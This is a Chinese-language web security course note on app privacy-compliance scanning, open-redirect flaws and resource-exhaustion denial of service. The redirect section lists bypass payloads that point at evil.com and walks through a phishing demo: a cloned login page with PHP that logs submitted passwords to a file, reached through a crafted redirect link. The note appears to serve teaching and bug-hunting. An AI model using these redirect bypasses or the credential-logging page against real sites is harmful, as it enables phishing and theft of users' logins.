文章目錄
- 前記
- WEB攻防——第七十七天
- 業務設計篇&隱私合規檢測&URL重定向&資源拒絕服務&配合項目
- 隱私合規 - 判斷規則&檢測項目
- 介紹
- 案例演示
- URL重定向 - 檢測判斷&釣魚配合
- 介紹
- 黑盒測試
- 看業務功能
- 看參數名
- goole語法搜索
- 白盒測試
- 跳轉URL繞過思路
- 釣魚配合
- 資源拒絕服務 - 加載受控&處理受控
- 加載受控
- 處理受控
前記
- 今天是學習小迪安全的第七十七天,本節課是WEB攻防的最后一講,主要是業務設計方面的內容,包括隱私合規、重定向漏洞以及資源拒絕服務漏洞
- 主要是以理解思路為主,但是這些漏洞可能很多都不收或者風險比較大
WEB攻防——第七十七天
業務設計篇&隱私合規檢測&URL重定向&資源拒絕服務&配合項目
隱私合規 - 判斷規則&檢測項目
介紹
- 檢測對象:APP、小程序等
- 檢測內容:主要是看其有沒有未經用戶同意調用一些涉及隱私的權限,比如位置信息、錄音、聯系人信息、相機等等
- 檢測項目:
- appscan
- 動態分析,更推薦
- 但缺點是需要真機,并且需要root權限及打開ADB調試
- appshark
- 靜態分析
- MobSF
- 之前課程里講過的APP逆向分析工具,也可以用來分析合規權限
- 靜態分析,需要自己手動檢驗是否真實存在
- 搭建比較麻煩,但是有在線網站,或者使用
f8x
項目自動化搭建
- appscan
案例演示
-
這里因為我也沒有真機,所以只能通過
MobSF
去靜態分析一個APK文件,簡單看一下效果 -
比如我們在網上隨便下載一個安卓應用:
-
然后直接將它拖到我們的
MobSF
上,等待它的分析結果:
-
等待一段時間之后它就會自動生成一份報告,然后我們選中
Permission
這欄就可以看到當前APK中所調用的權限:
-
但這里他只是提供了可能涉及到哪些隱私安全,實際還是要自己手動打開軟件測一測有沒有得到用戶的授權,需要根據它實際的功能想到可能調用的權限
URL重定向 - 檢測判斷&釣魚配合
介紹
- URL 重定向漏洞(
URL redirection vulnerability
),是一種常見的 Web 安全漏洞,由于網站 URL 重定向功能設計不當,沒有驗證跳轉的目標 URL 是否合法,用戶可通過此漏洞跳轉到任意網站,這會導致可通過該網站跳轉到存在木馬、病毒的網站或者釣魚網站,國外大廠的一個任意 URL 跳轉都500$
、1000$
了,國內看運氣~ - 不知道各位是否還記得在SSRF那節課中做過的一道CTF題,解題方法就是通過正常的URL重定向到內網地址;其實是同樣的道理,只不過這里是跳轉到一個惡意的釣魚網站,比如誘導用戶輸入自己的賬號密碼和其他身份信息等
黑盒測試
看業務功能
- 用戶登錄、統一身份認證處,認證完后會跳轉(跳轉登錄)
- 用戶分享、收藏內容過后,會跳轉(分享跳轉)
- 跨站點認證、授權后,會跳轉(認證跳轉)
- 站內點擊其它網址鏈接時,會跳轉(站內跳轉)
看參數名
redirect
、redirect_to
、redirect_url
、url
jump
、jump_to
target
to
link
、linkto
domain
goole語法搜索
site:xxx.xxx inurl:?url=
白盒測試
- 白盒測試主要看代碼怎么寫的
- Java:
response.sendRedirect(request.getParameter("url"))
- PHP:
+ $redirect_url = $_GET['url'];
+ header("Location: " . $redirect_url)
- .NET:
+ string redirect_url = request.QueryString["url"];
+ Response.Redirect(redirect_url);
- Django:
+ redirect_url = request.GET.get("url")
+ HttpResponseRedirect(redirect_url)
- Flask:
+ redirect_url = request.form['url']
+ redirect(redirect_url)
- Rails:
redirect_to params[:url]
跳轉URL繞過思路
- 單斜線“/”繞過:
https://www.landgrey.me/redirect.php?url=/www.evil.com
- 缺少協議繞過:
https://www.landgrey.me/redirect.php?url=//www.evil.com
- 多斜線“/”前綴繞過:
https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=www.evil.com
- 利用反斜線“\”繞過:
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
- 利用“#”符號繞過:
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
- 利用“?”符號繞過:
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
- 利用“\”符號繞過:
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
- 利用“.”符號繞過:
https://www.landgrey.me/redirect.php?url=.evil
(可能會跳轉到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com
(可能會跳轉到evil.com域名)
- 重復特殊字符繞過:
https://www.landgrey.me/redirect.php?url=///www.evil.com//..
https://www.landgrey.me/redirect.php?url=www.evil.com//..
釣魚配合
- 我們使用的釣魚網頁制作軟件為
Teleport Ultra
,然后以下所有的網頁都放到公網,以便Teleport Ultra
能夠正常爬取 - 小迪的那個演示網站已經用不了了,需要登錄,然后我們這里就自己隨便寫個網站
test.php
,接收url
參數,然后跳轉網頁:
<?php
$url = $_GET['url'] ?? 'http://[域名]:8081/admin/token/login_token.php';
?> <!doctype html>
<title>跳轉中</title>
<h1>稍等,正在跳轉...</h1>
<meta http-equiv="refresh" content="2;url=<?php echo $url;?>">
-
正常來說訪問該網頁,他會跳轉到登錄頁面:
-
但是這里如果我們嘗試讓他跳轉到
https://www.baidu.com
,它也是能夠正常跳轉的,那就說明它可能存在這種重定向漏洞:
-
然后我們到它原本的跳轉頁面去,復制這個網站,然后使用這個軟件爬取一份相同的網頁:
-
他就自動幫我們爬取了上面的所有前端頁面內容,然后我們可以自己看一看幾乎是一模一樣的:
-
我們這里修改里面的內容,比如將用戶輸入的登錄密碼保存到當前路徑下的某個文件里:
<?php $u = $_POST['username']; $p = $_POST['password']; $f = fopen('pass.txt', 'a+'); fwrite($f, $u . "|" . $p . "\n"); fclose($f);
?>
-
然后就將修改完成的釣魚網頁放到自己的服務器上,再讓這個網頁跳轉到釣魚網頁即可,這樣就得到了一個惡意鏈接
http://blog.xxx.cn:8080/test.php?url=http://[自己的域名]/login_token.php
-
最后當別人訪問這個鏈接的時候,會以為是正常的網頁,然后輸入自己的賬號和密碼,我們本地的服務器就會創建一個文件記錄:
-
但是這個漏洞國內很多都不收,主要是因為他要配合釣魚使用,中招率不高
資源拒絕服務 - 加載受控&處理受控
加載受控
- 某些網站可以加載一張圖片,如果我們能夠控制該圖片的大小,比如長和寬的話,假設將這個大小設置為很大很大,將服務器的CPU拉滿,以此來達到拒絕服務的目的
處理受控
-
某些網站可以上傳壓縮包或者其他的東西,然后它自動解壓,那我們如果上傳一個壓縮包炸彈(壓縮包無限套壓縮包),這樣就會導致上傳大小很小,但是實際資源大小很大,以此來拉滿服務器的CPU占用,達到拒絕服務的目的
-
但是這兩個都不怎么常用,因為這個東西搞不好會讓網站服務器崩潰,容易金橘子,所以我這里也不做案例演示了